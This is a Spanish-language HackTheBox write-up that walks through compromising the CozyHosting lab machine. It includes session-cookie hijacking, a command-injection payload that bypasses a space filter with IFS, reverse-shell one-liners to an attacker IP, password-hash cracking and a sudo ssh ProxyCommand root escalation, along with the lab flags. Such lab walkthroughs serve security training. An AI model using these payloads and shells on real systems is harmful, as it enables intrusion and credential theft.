CozyHosting es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad Fácil.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Índice
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina CozyHosting 10.129.116.136 a /etc/hosts como cozyhosting.htb y comenzamos con el escaneo de puertos nmap.
|
1 2 3 4 5 6 7 8 9 10 11 12 |
$ nmap -sS -p- --open --min-rate 5000 -vvv -n -oA enumeration/nmap1 10.129.116.136 Nmap scan report for 10.129.116.136 Host is up, received reset ttl 63 (0.063s latency). Scanned at 2023-09-03 09:26:24 GMT for 12s Not shown: 65531 closed tcp ports (reset), 2 filtered tcp ports (no-response) Some closed ports may be reported as filtered due to --defeat-rst-ratelimit PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 63 80/tcp open http syn-ack ttl 63 Read data files from: /usr/bin/../share/nmap # Nmap done at Sun Sep 2 09:26:36 2023 -- 1 IP address (1 host up) scanned in 12.30 seconds |
Una vez detectados los puertos abiertos, vamos a revisar en detalle los mismos
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
$ nmap -sCV -p 22,80 -oA enumeration/nmap2 10.129.116.136 Nmap scan report for 10.129.116.136 Host is up (0.034s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 43:56:bc:a7:f2:ec:46:dd:c1:0f:83:30:4c:2c:aa:a8 (ECDSA) |_ 256 6f:7a:6c:3f:a6:8d:e2:75:95:d4:7b:71:ac:4f:7e:42 (ED25519) 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-server-header: nginx/1.18.0 (Ubuntu) |_http-title: Did not follow redirect to http://cozyhosting.htb Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Sun Sep 2 09:26:57 2023 -- 1 IP address (1 host up) scanned in 10.22 seconds |
Enumeración
Vistos los puertos, vamos a revisar el portal web y vemos la siguiente ventana

Navegamos un poco por la página y forzando el acceso a un fichero que no existe vemos un error muy interesante en la página

Se trata de un error en el framework spring, así que vamos a ver si podemos sacar algo más y tenemos las sesiones existentes

Teniendo las cookies de sesión, modificamos nuestra cookie actual por la del usuario kanderson, recargamos y conseguimos entrar al panel de admin

En el mismo vemos un formulario para añadir un host y un usuario, a través del cual lanzar comandos por medio de una conexión ssh.

Hacemos alguna prueba y vemos que no podemos incluir el carácter espacio en el campo username, así que vamos a saltar estar restricción con IFS
Así que para saltarnos la restricción y obtener una revshell lanzamos el siguiente payload
|
1 |
asdf;(bash)0>/dev/tcp/10.10.14.85/4444;exec${IFS}>&0;asdf |
Obtenemos con ello una shell, aunque sin respuesta
|
1 2 3 |
$ nc -nlvp 4444 listening on [any] 4444 ... connect to [10.10.14.85] from (UNKNOWN) [10.129.116.136] 33810 |
Nos lanzamos otra revshell a otro puerto
|
1 |
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.14.85 4445 >/tmp/f |
Y estamos dentro con el usuario app
|
1 2 3 4 5 6 7 8 9 |
$ nc -nlvp 4445 listening on [any] 4445 ... connect to [10.10.14.85] from (UNKNOWN) [10.129.116.136] 44124 bash: cannot set terminal process group (996): Inappropriate ioctl for device bash: no job control in this shell app@cozyhosting:/app$ whoami whoami app app@cozyhosting:/app$ |
Escalado al usuario josh
Una vez dentro, mejoramos nuestra shell
|
1 2 3 |
app@cozyhosting:/app$ script /dev/null -c bash script /dev/null -c bash Script started, output log file is '/dev/null'. |
Y revisando la máquina encontramos un servicio interesante
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
app@cozyhosting:/tmp$ cat /etc/systemd/system/cozyhosting.service cat /etc/systemd/system/cozyhosting.service [Unit] Description=Cozy Hosting Web Page After=syslog.target network.target [Service] SuccessExitStatus=143 User=app Group=app Type=simple WorkingDirectory=/app ExecStart=/usr/bin/java -jar cloudhosting-0.0.1.jar ExecStop=/bin/kill -15 $MAINPID [Install] WantedBy=multi-user.target |
El servicio ejecuta un fichero .jar para levantar la aplicación así que revisamos el mismo
|
1 2 3 4 |
app@cozyhosting:/app$ ls -l ls -l total 58848 -rw-r--r-- 1 root root 60259688 Aug 11 00:45 cloudhosting-0.0.1.jar |
Y para ver su contenido, lo copiamos a una ruta en la que podamos escribir y extraemos su contenido
|
1 2 3 4 5 |
app@cozyhosting:/app$ cp cloudhosting-0.0.1.jar /tmp cp cloudhosting-0.0.1.jar /tmp app@cozyhosting:/app$ cd /tmp cd /tmp app@cozyhosting:/tmp$ unzip cloudhosting-0.0.1.jar |
Y encontramos dentro un fichero properties con las credenciales de postgres
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
app@cozyhosting:/tmp$ cat ./BOOT-INF/classes/application.properties cat ./BOOT-INF/classes/application.properties server.address=127.0.0.1 server.servlet.session.timeout=5m management.endpoints.web.exposure.include=health,beans,env,sessions,mappings management.endpoint.sessions.enabled = true spring.datasource.driver-class-name=org.postgresql.Driver spring.jpa.database-platform=org.hibernate.dialect.PostgreSQLDialect spring.jpa.hibernate.ddl-auto=none spring.jpa.database=POSTGRESQL spring.datasource.platform=postgres spring.datasource.url=jdbc:postgresql://localhost:5432/cozyhosting spring.datasource.username=postgres spring.datasource.password=Vg&nvzAQ7XxR |
Así que conectamos
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 |
app@cozyhosting:/tmp$ psql -h localhost -p 5432 -U postgres psql -h localhost -p 5432 -U postgres Password for user postgres: Vg&nvzAQ7XxR psql (14.9 (Ubuntu 14.9-0ubuntu0.22.04.1)) SSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, bits: 256, compression: off) Type "help" for help. postgres=# \l \l WARNING: terminal is not fully functional Press RETURN to continue List of databases Name | Owner | Encoding | Collate | Ctype | Access privil eges -------------+----------+----------+-------------+-------------+---------------- ------- cozyhosting | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 | postgres | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 | template0 | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 | =c/postgres + | | | | | postgres=CTc/po stgres template1 | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 | =c/postgres + | | | | | postgres=CTc/po stgres (4 rows) (END) |
Conectamos al esquema cozyhosting y obtenemos los usuarios
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
postgres=# \c cozyhosting \c cozyhosting SSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, bits: 256, compression: off) You are now connected to database "cozyhosting" as user "postgres". cozyhosting=# select * from users; select * from users; WARNING: terminal is not fully functional Press RETURN to continue name | password | role -----------+--------------------------------------------------------------+----- -- kanderson | $2a$10$E/Vcd9ecflmPudWeLSEIv.cvK6QjxjWlWXpij1NVNV3Mm6eH58zim | User admin | $2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm | Admi n (2 rows) |
Recogemos los hashes y los pasamos por john para obtener alguna clave en plano
|
1 2 3 4 5 6 7 8 9 10 |
$ john hash -w=/usr/share/wordlists/rockyou.txt Using default input encoding: UTF-8 Loaded 1 password hash (bcrypt [Blowfish 32/64 X3]) Cost 1 (iteration count) is 1024 for all loaded hashes Will run 2 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status manchesterunited (?) 1g 0:00:00:52 DONE (2023-09-03 08:12) 0.01909g/s 53.62p/s 53.62c/s 53.62C/s dougie..keyboard Use the "--show" option to display all of the cracked passwords reliably Session completed. |
Obteniendo la flag de user
Con la clave obtenida escalamos al usuario josh y cogemos la flag
|
1 2 3 4 5 6 7 8 9 10 11 |
app@cozyhosting:/tmp$ su - josh su - josh Password: manchesterunited josh@cozyhosting:~$ josh@cozyhosting:~$ pwd pwd /home/josh josh@cozyhosting:~$ cat user.txt cat user.txt 9371ea89467ef92ee6d4ce0626baf73a |
Escalado de privilegios
Procedemos con la enumeración y revisamos los permisos del usuario
|
1 2 3 4 5 6 7 8 9 |
josh@cozyhosting:~$ sudo -l sudo -l Matching Defaults entries for josh on localhost: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty User josh may run the following commands on localhost: (root) /usr/bin/ssh * |
Puede ejecutar ssh como root así que el escalado va a ser muy sencillo.
Buscamos en gtfobins y ejecutamos
|
1 2 3 4 5 |
josh@cozyhosting:~$ sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x # id id uid=0(root) gid=0(root) groups=0(root) |
Obteniendo la flag de root
Cogemos la flag y a cobrar
|
1 2 3 4 |
# cat /root/root.txt cat /root/root.txt 221bfa8d4059ca5e5eed21eea6b06139 # |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace










